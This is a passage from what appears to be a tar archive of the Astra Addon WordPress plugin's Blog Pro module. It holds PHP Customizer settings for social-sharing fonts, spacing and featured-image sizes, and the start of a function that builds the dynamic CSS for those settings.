'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), /** * Option: Social Heading Font Family */ array( 'name' => 'single-post-social-sharing-heading-font-family', 'type' => 'sub-control', 'control' => 'ast-font', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-typo]', 'font_type' => 'ast-font-family', 'title' => __( 'Font Family', 'astra-addon' ), 'default' => astra_get_option( 'single-post-social-sharing-heading-font-family' ), 'section' => 'section-blog-single', 'connect' => 'single-post-social-sharing-heading-font-weight', 'priority' => 4, 'transport' => 'postMessage', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), ), /** * Option: Social Heading font-weight */ array( 'name' => 'single-post-social-sharing-heading-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-typo]', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'title' => __( 'Font Weight', 'astra-addon' ), 'section' => 'section-blog-single', 'default' => astra_get_option( 'single-post-social-sharing-heading-font-weight' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'priority' => 4, 'connect' => 'single-post-social-sharing-heading-font-family', 'transport' => 'postMessage', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), ), /** * Option: Social Heading font-size */ array( 'name' => 'single-post-social-sharing-heading-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-typo]', 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'section' => 'section-blog-single', 'default' => astra_get_option( 'single-post-social-sharing-heading-font-size' ), 'transport' => 'postMessage', 'priority' => 4, 'title' => __( 'Font Size', 'astra-addon' ), 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), /** * Option: Social Heading font extras. */ array( 'name' => 'single-post-social-sharing-heading-font-extras', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-typo]', 'control' => 'ast-font-extras', 'section' => 'section-blog-single', 'priority' => 4, 'default' => astra_get_option( 'single-post-social-sharing-heading-font-extras' ), ), /** * Option: Social icon label typography section. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-typo]', 'default' => astra_get_option( 'single-post-social-sharing-icon-label-typo' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Label Font', 'astra-addon' ), 'section' => 'section-blog-single', 'transport' => 'postMessage', 'priority' => 4, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), /** * Option: Social icon label font family */ array( 'name' => 'single-post-social-sharing-icon-label-font-family', 'type' => 'sub-control', 'control' => 'ast-font', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-typo]', 'font_type' => 'ast-font-family', 'title' => __( 'Font Family', 'astra-addon' ), 'default' => astra_get_option( 'single-post-social-sharing-icon-label-font-family' ), 'section' => 'section-blog-single', 'priority' => 4, 'connect' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-font-weight]', 'transport' => 'postMessage', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), ), /** * Option: Social icon label font-weight */ array( 'name' => 'single-post-social-sharing-icon-label-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-typo]', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'title' => __( 'Font Weight', 'astra-addon' ), 'section' => 'section-blog-single', 'default' => astra_get_option( 'single-post-social-sharing-icon-label-font-weight' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'priority' => 4, 'connect' => 'single-post-social-sharing-icon-label-font-family', 'transport' => 'postMessage', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), ), /** * Option: Social icon font size. */ array( 'name' => 'single-post-social-sharing-icon-label-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-typo]', 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'section' => 'section-blog-single', 'default' => astra_get_option( 'single-post-social-sharing-icon-label-font-size' ), 'transport' => 'postMessage', 'priority' => 4, 'title' => __( 'Font Size', 'astra-addon' ), 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), /** * Option: Social icon label label font extras */ array( 'name' => 'single-post-social-sharing-icon-label-font-extras', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-typo]', 'control' => 'ast-font-extras', 'section' => 'section-blog-single', 'priority' => 4, 'default' => astra_get_option( 'single-post-social-sharing-icon-label-font-extras' ), ), /** * Option: Padding Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-padding]', 'default' => astra_get_option( 'single-post-social-sharing-padding' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-blog-single', 'priority' => 4, 'title' => __( 'Padding', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-section-divider ' ), ), /** * Option: Margin Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-margin]', 'default' => astra_get_option( 'single-post-social-sharing-margin' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-blog-single', 'priority' => 4, 'title' => __( 'Margin', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), ), /** * Option: Padding Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-border-radius]', 'default' => astra_get_option( 'single-post-social-sharing-border-radius' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-blog-single', 'priority' => 4, 'title' => __( 'Border Radius', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top_left' => __( 'Top', 'astra-addon' ), 'top_right' => __( 'Right', 'astra-addon' ), 'bottom_right' => __( 'Bottom', 'astra-addon' ), 'bottom_left' => __( 'Left', 'astra-addon' ), ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider ast-bottom-spacing' ), ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by creating new instance. */ new Astra_Customizer_Blog_Pro_Single_Configs(); sections/index.php 0000666 00000000170 15165400142 0010213 0 ustar 00 <?php /** * Index file * * @package Astra * @since Astra 1.2.0 */ /* Silence is golden, and we agree. */ sections/class-astra-customizer-blog-pro-image-resizer-configs.php 0000666 00000016704 15165400142 0021443 0 ustar 00 <?php /** * Blog Pro Image Resizer Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Blog_Pro_Image_Resizer_Configs' ) ) { /** * Register General Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Blog_Pro_Image_Resizer_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register General Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Blog Archive */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-archive-image-size-heading]', 'type' => 'control', 'control' => 'ast-divider', 'section' => 'section-blog', 'title' => __( 'Featured Images Size', 'astra-addon' ), 'suffix' => 'px', 'priority' => 100, 'settings' => array(), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-post-structure]', 'operator' => 'contains', 'value' => 'image', ), ), ), /** * Option: Featured Image width */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-archive-image-width]', 'type' => 'control', 'control' => 'number', 'transport' => 'postMessage', 'default' => astra_get_option( 'blog-archive-image-width' ), 'section' => 'section-blog', 'priority' => 105, 'title' => __( 'Width', 'astra-addon' ), 'input_attrs' => array( 'style' => 'text-align:center;', 'placeholder' => __( 'Auto', 'astra-addon' ), 'min' => 5, 'max' => 1920, ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-post-structure]', 'operator' => 'contains', 'value' => 'image', ), ), ), /** * Option: Featured Image height */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-archive-image-height]', 'type' => 'control', 'control' => 'number', 'transport' => 'postMessage', 'default' => astra_get_option( 'blog-archive-image-height' ), 'section' => 'section-blog', 'priority' => 107, 'title' => __( 'Height', 'astra-addon' ), 'input_attrs' => array( 'style' => 'text-align:center;', 'placeholder' => __( 'Auto', 'astra-addon' ), 'min' => 5, 'max' => 1920, ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-post-structure]', 'operator' => 'contains', 'value' => 'image', ), ), ), /** * Option: Featured Image apply size */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-archive-image-apply-sizes]', 'type' => 'control', 'control' => 'ast-customizer-refresh', 'section' => 'section-blog', 'default' => astra_get_option( 'log-archive-image-apply-sizes' ), 'priority' => 107, 'title' => __( 'Apply Size', 'astra-addon' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-post-structure]', 'operator' => 'contains', 'value' => 'image', ), ), ), /** * Option: Blog Single Post */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-single-post-image-size-heading]', 'type' => 'control', 'control' => 'ast-divider', 'section' => 'section-blog-single', 'title' => __( 'Featured Images Size', 'astra-addon' ), 'divider' => array( 'ast_class' => 'ast-top-spacing ast-top-section-divider' ), 'priority' => 6, 'settings' => array(), 'context' => astra_addon_builder_helper()->general_tab, ), /** * Option: Featured Image width */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-single-post-image-width]', 'type' => 'control', 'control' => 'number', 'transport' => 'postMessage', 'default' => astra_get_option( 'blog-single-post-image-width' ), 'section' => 'section-blog-single', 'priority' => 6, 'title' => __( 'Width', 'astra-addon' ), 'input_attrs' => array( 'style' => 'text-align:center;', 'placeholder' => __( 'Auto', 'astra-addon' ), 'min' => 5, 'max' => 1920, ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), 'context' => astra_addon_builder_helper()->general_tab, ), /** * Option: Featured Image height */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-single-post-image-height]', 'type' => 'control', 'control' => 'number', 'transport' => 'postMessage', 'default' => astra_get_option( 'blog-single-post-image-height' ), 'section' => 'section-blog-single', 'priority' => 6, 'title' => __( 'Height', 'astra-addon' ), 'input_attrs' => array( 'style' => 'text-align:center;', 'placeholder' => __( 'Auto', 'astra-addon' ), 'min' => 5, 'max' => 1920, ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), 'context' => astra_addon_builder_helper()->general_tab, ), /** * Option: Featured Image apply size */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-single-post-image-apply-sizes]', 'type' => 'control', 'control' => 'ast-customizer-refresh', 'section' => 'section-blog-single', 'default' => astra_get_option( 'blog-single-post-image-apply-sizes' ), 'priority' => 6, 'title' => __( 'Apply Size', 'astra-addon' ), 'context' => astra_addon_builder_helper()->general_tab, ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Blog_Pro_Image_Resizer_Configs(); dynamic.php 0000666 00000072135 15165400142 0006713 0 ustar 00 <?php /** * Blog Pro - Dynamic CSS * * @package Astra Addon */ add_filter( 'astra_addon_dynamic_css', 'astra_ext_blog_pro_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return string */ function astra_ext_blog_pro_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $parse_css = ''; $css_output_tablet = ''; $css_output_mobile = ''; $is_site_rtl = is_rtl(); $ltr_left = $is_site_rtl ? 'right' : 'left'; $ltr_right = $is_site_rtl ? 'left' : 'right'; $body_font_family = astra_body_font_family(); $link_color = astra_get_option( 'link-color' ); $text_color = astra_get_option( 'text-color' ); $blog_layout = astra_get_option( 'blog-layout' ); $blog_pagination = astra_get_option( 'blog-pagination' ); $blog_pagination_style = astra_get_option( 'blog-pagination-style' ); // Social sharing. $is_social_sharing_enabled = astra_get_option( 'single-post-social-sharing-icon-enable' ); $css_output = array( // Blog Layout 1 Dynamic Style. '.ast-article-post .ast-date-meta .posted-on, .ast-article-post .ast-date-meta .posted-on *' => array( 'background' => esc_attr( $link_color ), 'color' => astra_get_foreground_color( $link_color ), ), '.ast-article-post .ast-date-meta .posted-on .date-month, .ast-article-post .ast-date-meta .posted-on .date-year' => array( 'color' => astra_get_foreground_color( $link_color ), ), '.ast-load-more:hover' => array( 'color' => astra_get_foreground_color( $link_color ), 'border-color' => esc_attr( $link_color ), 'background-color' => esc_attr( $link_color ), ), '.ast-loader > div' => array( 'background-color' => esc_attr( $link_color ), ), ); if ( true === astra_get_option( 'customizer-default-layout-update', true ) ) { $css_output['.ast-page-builder-template .ast-archive-description'] = array( 'margin-bottom' => '2em', ); } if ( 'number' === $blog_pagination ) { if ( 'circle' === $blog_pagination_style || 'square' === $blog_pagination_style ) { $css_output['.ast-pagination .page-numbers'] = array( 'color' => $text_color, 'border-color' => $link_color, ); $css_output['.ast-pagination .page-numbers.current, .ast-pagination .page-numbers:focus, .ast-pagination .page-numbers:hover'] = array( 'color' => astra_get_foreground_color( $link_color ), 'background-color' => $link_color, 'border-color' => $link_color, ); } } if ( $is_social_sharing_enabled ) { $selector = '.ast-post-social-sharing'; $alignment = astra_get_option( 'single-post-social-sharing-alignment' ); $icon_sharing_position = astra_get_option( 'single-post-social-sharing-icon-position' ); $margin = astra_get_option( 'single-post-social-sharing-margin' ); $padding = astra_get_option( 'single-post-social-sharing-padding' ); $border_radius = astra_get_option( 'single-post-social-sharing-border-radius' ); $icon_spacing = astra_get_option( 'single-post-social-sharing-icon-spacing' ); $icon_size = astra_get_option( 'single-post-social-sharing-icon-size' ); $icon_bg_spacing = astra_get_option( 'single-post-social-sharing-icon-background-spacing' ); $icon_radius = astra_get_option( 'single-post-social-sharing-icon-radius' ); $icon_spacing_desktop = ( isset( $icon_spacing['desktop'] ) && '' !== $icon_spacing['desktop'] ) ? (int) $icon_spacing['desktop'] / 2 : ''; $icon_spacing_tablet = ( isset( $icon_spacing['tablet'] ) && '' !== $icon_spacing['tablet'] ) ? (int) $icon_spacing['tablet'] / 2 : ''; $icon_spacing_mobile = ( isset( $icon_spacing['mobile'] ) && '' !== $icon_spacing['mobile'] ) ? (int) $icon_spacing['mobile'] / 2 : ''; $icon_size_desktop = ( isset( $icon_size['desktop'] ) && '' !== $icon_size['desktop'] ) ? (int) $icon_size['desktop'] : ''; $icon_size_tablet = ( isset( $icon_size['tablet'] ) && '' !== $icon_size['tablet'] ) ? (int) $icon_size['tablet'] : ''; $icon_size_mobile = ( isset( $icon_size['mobile'] ) && '' !== $icon_size['mobile'] ) ? (int) $icon_size['mobile'] : ''; $icon_bg_spacing_desktop = ( isset( $icon_bg_spacing['desktop'] ) && '' !== $icon_bg_spacing['desktop'] ) ? (int) $icon_bg_spacing['desktop'] : ''; $icon_bg_spacing_tablet = ( isset( $icon_bg_spacing['tablet'] ) && '' !== $icon_bg_spacing['tablet'] ) ? (int) $icon_bg_spacing['tablet'] : ''; $icon_bg_spacing_mobile = ( isset( $icon_bg_spacing['mobile'] ) && '' !== $icon_bg_spacing['mobile'] ) ? (int) $icon_bg_spacing['mobile'] : ''; $icon_radius_desktop = ( isset( $icon_radius['desktop'] ) && '' !== $icon_radius['desktop'] ) ? (int) $icon_radius['desktop'] : ''; $icon_radius_tablet = ( isset( $icon_radius['tablet'] ) && '' !== $icon_radius['tablet'] ) ? (int) $icon_radius['tablet'] : ''; $icon_radius_mobile = ( isset( $icon_radius['mobile'] ) && '' !== $icon_radius['mobile'] ) ? (int) $icon_radius['mobile'] : ''; // Normal Responsive Colors. $color_type = astra_get_option( 'single-post-social-sharing-icon-color-type' ); $social_icons_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-color' ), 'desktop' ); $social_icons_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-color' ), 'tablet' ); $social_icons_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-color' ), 'mobile' ); // Hover Responsive Colors. $social_icons_h_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-h-color' ), 'desktop' ); $social_icons_h_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-h-color' ), 'tablet' ); $social_icons_h_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-h-color' ), 'mobile' ); // Normal Responsive Bg Colors. $social_icons_bg_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-background-color' ), 'desktop' ); $social_icons_bg_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-background-color' ), 'tablet' ); $social_icons_bg_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-background-color' ), 'mobile' ); // Hover Responsive Bg Colors. $social_icons_h_bg_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-background-h-color' ), 'desktop' ); $social_icons_h_bg_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-background-h-color' ), 'tablet' ); $social_icons_h_bg_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-background-h-color' ), 'mobile' ); // Normal Responsive Label Colors. $social_icons_label_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-label-color' ), 'desktop' ); $social_icons_label_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-label-color' ), 'tablet' ); $social_icons_label_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-label-color' ), 'mobile' ); // Hover Responsive Label Colors. $social_icons_label_h_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-label-h-color' ), 'desktop' ); $social_icons_label_h_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-label-h-color' ), 'tablet' ); $social_icons_label_h_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-icon-label-h-color' ), 'mobile' ); // Normal Responsive Header Colors. $social_heading_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-heading-color' ), 'desktop' ); $social_heading_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-heading-color' ), 'tablet' ); $social_heading_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-heading-color' ), 'mobile' ); // Hover Responsive Header Colors. $social_heading_h_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-heading-h-color' ), 'desktop' ); $social_heading_h_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-heading-h-color' ), 'tablet' ); $social_heading_h_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-heading-h-color' ), 'mobile' ); $social_heading_position = astra_get_option( 'single-post-social-sharing-heading-position' ); // Background color. $social_bg_color_desktop = astra_get_prop( astra_get_option( 'single-post-social-sharing-background-color' ), 'desktop' ); $social_bg_color_tablet = astra_get_prop( astra_get_option( 'single-post-social-sharing-background-color' ), 'tablet' ); $social_bg_color_mobile = astra_get_prop( astra_get_option( 'single-post-social-sharing-background-color' ), 'mobile' ); // Label font. $icon_label_font_size = astra_get_option( 'single-post-social-sharing-icon-label-font-size' ); $icon_label_font_family = astra_get_option( 'single-post-social-sharing-icon-label-font-family' ); $icon_label_font_weight = astra_get_option( 'single-post-social-sharing-icon-label-font-weight' ); $icon_label_line_height = astra_addon_get_font_extras( astra_get_option( 'single-post-social-sharing-icon-label-font-extras' ), 'line-height', 'line-height-unit' ); $icon_label_text_transform = astra_addon_get_font_extras( astra_get_option( 'single-post-social-sharing-icon-label-font-extras' ), 'text-transform' ); $icon_label_letter_spacing = astra_addon_get_font_extras( astra_get_option( 'single-post-social-sharing-icon-label-font-extras' ), 'letter-spacing', 'letter-spacing-unit' ); $icon_label_text_decoration = astra_addon_get_font_extras( astra_get_option( 'single-post-social-sharing-icon-label-font-extras' ), 'text-decoration' ); // Heading font. $heading_font_size = astra_get_option( 'single-post-social-sharing-heading-font-size' ); $heading_font_family = astra_get_option( 'single-post-social-sharing-heading-font-family' ); $heading_font_weight = astra_get_option( 'single-post-social-sharing-heading-font-weight' ); $heading_line_height = astra_addon_get_font_extras( astra_get_option( 'single-post-social-sharing-heading-font-extras' ), 'line-height', 'line-height-unit' ); $heading_text_transform = astra_addon_get_font_extras( astra_get_option( 'single-post-social-sharing-heading-font-extras' ), 'text-transform' ); $heading_letter_spacing = astra_addon_get_font_extras( astra_get_option( 'single-post-social-sharing-heading-font-extras' ), 'letter-spacing', 'letter-spacing-unit' ); $heading_text_decoration = astra_addon_get_font_extras( astra_get_option( 'single-post-social-sharing-heading-font-extras' ), 'text-decoration' ); $fixed_social = array(); $fixed_social_single = array(); $is_social_fixed = 'left-content' === $icon_sharing_position || 'right-content' === $icon_sharing_position; $margin_rvs_left = $is_social_fixed ? 'top' : $ltr_left; $margin_rvs_right = $is_social_fixed ? 'bottom' : $ltr_right; if ( $is_social_fixed ) { $fixed_social_sharing_position = 'left-content' === $icon_sharing_position ? $ltr_left : $ltr_right; $fixed_social = array( 'position' => 'fixed', $fixed_social_sharing_position => '0', 'top' => '50%', 'transform' => 'translateY(-50%)', 'z-index' => '99', ); } $fixed_social_single = array( 'display' => $is_social_fixed ? 'block' : 'inline-block', ); $css_output[ $selector . ' .ast-social-inner-wrap .ast-social-icon-a:first-child' ] = array( 'margin-' . $margin_rvs_left => '0', ); $css_output[ $selector . ' .ast-social-inner-wrap .ast-social-icon-a:last-child' ] = array( 'margin-' . $margin_rvs_right => '0', ); $alignment_rtl = $alignment === $ltr_left ? 'flex-start' : 'flex-end'; $css_output[ $selector ] = array_merge( array( 'display' => 'flex', 'flex-wrap' => 'wrap', 'flex-direction' => 'column', 'align-items' => 'center' === $alignment ? 'center' : $alignment_rtl, ), $fixed_social ); $css_output[ $selector . ' .ast-social-inner-wrap' ] = array( 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-' . $ltr_left => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-' . $ltr_right => astra_responsive_spacing( $margin, 'right', 'desktop' ), 'padding-top' => astra_responsive_spacing( $padding, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $padding, 'bottom', 'desktop' ), 'padding-' . $ltr_left => astra_responsive_spacing( $padding, 'left', 'desktop' ), 'padding-' . $ltr_right => astra_responsive_spacing( $padding, 'right', 'desktop' ), 'border-top-' . $ltr_left . '-radius' => astra_responsive_spacing( $border_radius, 'top_left', 'desktop' ), 'border-top-' . $ltr_right . '-radius' => astra_responsive_spacing( $border_radius, 'top_right', 'desktop' ), 'border-bottom-' . $ltr_left . '-radius' => astra_responsive_spacing( $border_radius, 'bottom_left', 'desktop' ), 'border-bottom-' . $ltr_right . '-radius' => astra_responsive_spacing( $border_radius, 'bottom_right', 'desktop' ), 'width' => 'auto', ); $css_output[ $selector . ' a.ast-social-icon-a' ] = array_merge( array( 'justify-content' => 'center', 'line-height' => 'normal', 'display' => $is_social_fixed ? 'flex' : 'inline-flex', 'margin-' . $margin_rvs_left => astra_get_css_value( $icon_spacing_desktop, 'px' ), 'margin-' . $margin_rvs_right => astra_get_css_value( $icon_spacing_desktop, 'px' ), 'text-align' => 'center', 'text-decoration' => 'none', ), $fixed_social_single ); $css_output[ $selector . ' .social-item-label' ] = array( // Margin CSS. 'font-size' => astra_responsive_font( $icon_label_font_size, 'desktop' ), 'font-weight' => astra_get_css_value( $icon_label_font_weight, 'font' ), 'font-family' => astra_get_css_value( $icon_label_font_family, 'font' ), 'line-height' => esc_attr( $icon_label_line_height ), 'text-transform' => esc_attr( $icon_label_text_transform ), 'text-decoration' => esc_attr( $icon_label_text_decoration ), 'letter-spacing' => esc_attr( $icon_label_letter_spacing ), 'width' => '100%', 'text-align' => 'center', ); $css_output[ $selector . ' .ast-social-sharing-heading' ] = array( // Margin CSS. 'font-size' => astra_responsive_font( $heading_font_size, 'desktop' ), 'font-weight' => astra_get_css_value( $heading_font_weight, 'font' ), 'font-family' => astra_get_css_value( $heading_font_family, 'font' ), 'line-height' => esc_attr( $heading_line_height ), 'text-transform' => esc_attr( $heading_text_transform ), 'text-decoration' => esc_attr( $heading_text_decoration ), 'letter-spacing' => esc_attr( $heading_letter_spacing ), ); $css_output[ $selector . ' .ast-social-element' ] = array( // Icon Background Space. 'padding' => astra_get_css_value( $icon_bg_spacing_desktop, 'px' ), // Icon Radius. 'border-radius' => astra_get_css_value( $icon_radius_desktop, 'px' ), ); $css_output[ $selector . ' .ast-social-element svg' ] = array( // Icon Size. 'width' => astra_get_css_value( $icon_size_desktop, 'px' ), 'height' => astra_get_css_value( $icon_size_desktop, 'px' ), ); $css_output[ $selector . ' .ast-social-icon-image-wrap' ] = array( // Icon Background Space. 'margin' => astra_get_css_value( $icon_bg_spacing_desktop, 'px' ), ); if ( 'custom' === $color_type ) { $css_output[ $selector . ' .ast-social-color-type-custom svg' ]['fill'] = $social_icons_color_desktop; $css_output[ $selector . ' .ast-social-color-type-custom .ast-social-element' ]['background'] = $social_icons_bg_color_desktop; $css_output[ $selector . ' .ast-social-color-type-custom .ast-social-icon-a:hover .ast-social-element' ] = array( // Hover. 'color' => $social_icons_h_color_desktop, 'background' => $social_icons_h_bg_color_desktop, ); $css_output[ $selector . ' .ast-social-color-type-custom .ast-social-icon-a:hover svg' ] = array( 'fill' => $social_icons_h_color_desktop, ); } else { $css_output[ $selector . ' .ast-social-element svg' ]['fill'] = 'var(--color)'; } // Label Color. if ( isset( $social_icons_label_color_desktop ) && ! empty( $social_icons_label_color_desktop ) ) { $css_output[ $selector . ' .social-item-label' ]['color'] = $social_icons_label_color_desktop; } // Label Hover Color. if ( isset( $social_icons_label_h_color_desktop ) && ! empty( $social_icons_label_h_color_desktop ) ) { $css_output[ $selector . ' .ast-social-icon-a:hover .social-item-label' ]['color'] = $social_icons_label_h_color_desktop; } // Heading Color. if ( isset( $social_heading_color_desktop ) && ! empty( $social_heading_color_desktop ) ) { $css_output[ $selector . ' .ast-social-sharing-heading' ]['color'] = $social_heading_color_desktop; } // Heading Hover Color. if ( isset( $social_heading_h_color_desktop ) && ! empty( $social_heading_h_color_desktop ) ) { $css_output[ $selector . ' .ast-social-sharing-heading:hover' ]['color'] = $social_heading_h_color_desktop; } if ( isset( $social_bg_color_desktop ) && ! empty( $social_bg_color_desktop ) ) { $css_output[ $selector . ' .ast-social-inner-wrap' ]['background-color'] = $social_bg_color_desktop; } /** * Social_icons 